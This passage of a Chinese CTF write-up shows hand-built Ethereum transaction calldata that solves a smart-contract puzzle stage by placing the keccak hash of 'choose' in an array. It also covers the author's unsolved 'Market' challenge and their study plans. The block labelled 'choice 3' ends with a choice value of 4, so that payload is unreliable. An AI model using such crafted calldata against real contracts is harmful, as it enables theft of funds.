4f84b20dcc5cf7477e99fef15aa92fd479696e300acab3df05421b63922abd98 // stage3.lock[0]

Stage4

首先计算 choose 的哈希为

> web3.utils.soliditySha3({type: 'string', value: 'choose'});
'0xe201a979a73f6a2947c212ebbed36f5d85b35629db25dfd9441d562a1c6ca896'

此时,inputdata 填入 Stage4.choice 后如下

0x
e0d20f73
401dd463000000000000000000000000000000000000000000000000ffffff1c // entrypoint.guest / stage1.v / stage2.a,b / stage3.idx / stage4.choices[0]
4f84b20dcc5cf7477e99fef15aa92fd479696e300acab3df05421b63922abd98 // stage1.r / stage3.keys[0] / stage4.choices[1]
5f6ba4410d3a1d6302b44fc2163c5bbb4a9b765880a5d0c2644a7bf478285afa // stage1.v / stage3.keys[1] / stage4.choices[2]
5f6ba4410d3a1d6302b44fc2163c5bbb4a9b765880a5d0c2644a7bf478285afc // stage3.keys[2] / stage4.choices[3]
5f6ba4410d3a1d6302b44fc2163c5bbb4a9b765880a5d0c2644a7bf478285afe // stage3.keys[3] / stage4.choices[4]
4f84b20dcc5cf7477e99fef15aa92fd479696e300acab3df05421b63922abd98 // stage3.lock[0] / stage4.choices[5]
000000000000000000000000000000000000000000000000000000000000000X // stage4.choice

接下来考虑 wrong choice! 的条件,很容易知道 choice 值只能是 3 或 4,二选一即可,这也是 choice 的双关含义..

如果 choice 为 3,最终 inputdata

0x
e0d20f73
401dd463000000000000000000000000000000000000000000000000ffffff1c // entrypoint.guest / stage1.v / stage2.a,b / stage3.idx / stage4.choices[0]
4f84b20dcc5cf7477e99fef15aa92fd479696e300acab3df05421b63922abd98 // stage1.r / stage3.keys[0] / stage4.choices[1]
5f6ba4410d3a1d6302b44fc2163c5bbb4a9b765880a5d0c2644a7bf478285afa // stage1.v / stage3.keys[1] / stage4.choices[2]
e201a979a73f6a2947c212ebbed36f5d85b35629db25dfd9441d562a1c6ca896 // stage3.keys[2] / stage4.choices[3] / choices[choice % 6] == keccak256(abi.encodePacked("choose")
e201a979a73f6a2947c212ebbed36f5d85b35629db25dfd9441d562a1c6ca898 // stage3.keys[3] / stage4.choices[4]
4f84b20dcc5cf7477e99fef15aa92fd479696e300acab3df05421b63922abd98 // stage3.lock[0] / stage4.choices[5]
0000000000000000000000000000000000000000000000000000000000000004 // stage4.choice

如果 choice 为 4,最终 inputdata

0x
e0d20f73
401dd463000000000000000000000000000000000000000000000000ffffff1c // entrypoint.guest / stage1.v / stage2.a,b / stage3.idx / stage4.choices[0]
4f84b20dcc5cf7477e99fef15aa92fd479696e300acab3df05421b63922abd98 // stage1.r / stage3.keys[0] / stage4.choices[1]
5f6ba4410d3a1d6302b44fc2163c5bbb4a9b765880a5d0c2644a7bf478285afa // stage1.v / stage3.keys[1] / stage4.choices[2]
5f6ba4410d3a1d6302b44fc2163c5bbb4a9b765880a5d0c2644a7bf478285afc // stage3.keys[2] / stage4.choices[3]
e201a979a73f6a2947c212ebbed36f5d85b35629db25dfd9441d562a1c6ca896 // stage3.keys[3] / stage4.choices[4] / choices[choice % 6] == keccak256(abi.encodePacked("choose")
4f84b20dcc5cf7477e99fef15aa92fd479696e300acab3df05421b63922abd98 // stage3.lock[0] / stage4.choices[5]
0000000000000000000000000000000000000000000000000000000000000004 // stage4.choice

题外

我来翻译翻译题中双关:

this is a bit odd. 这是奇数 / 这有点难

wrong choice! 做错了! / 二选一都能错?

do you feel lucky? 送分而已

Market

Smarter Contracts Inc. has been hard at work developing the ultimate crypto collectible experience. We're proud to announce our new CryptoCollectibles contract and integrated marketplace.

这题开始时,已经是周三晚上 9 点了,离结束还有 13 个小时

花了几个小时,没有什么思路,选择回家睡觉...

后续

最终剩余 10 题未完成,根据解题情况,后续计划如下:

首先,学习 UniSwapCompound (不确定剩余题目中是否有其他 DeFi 相关的)

然后,找段空闲时间,不限解题时间的情况下,尽力独立解出剩余题目

最后,希望以后能实际参加比赛体验一把,不过要准备的东西不少..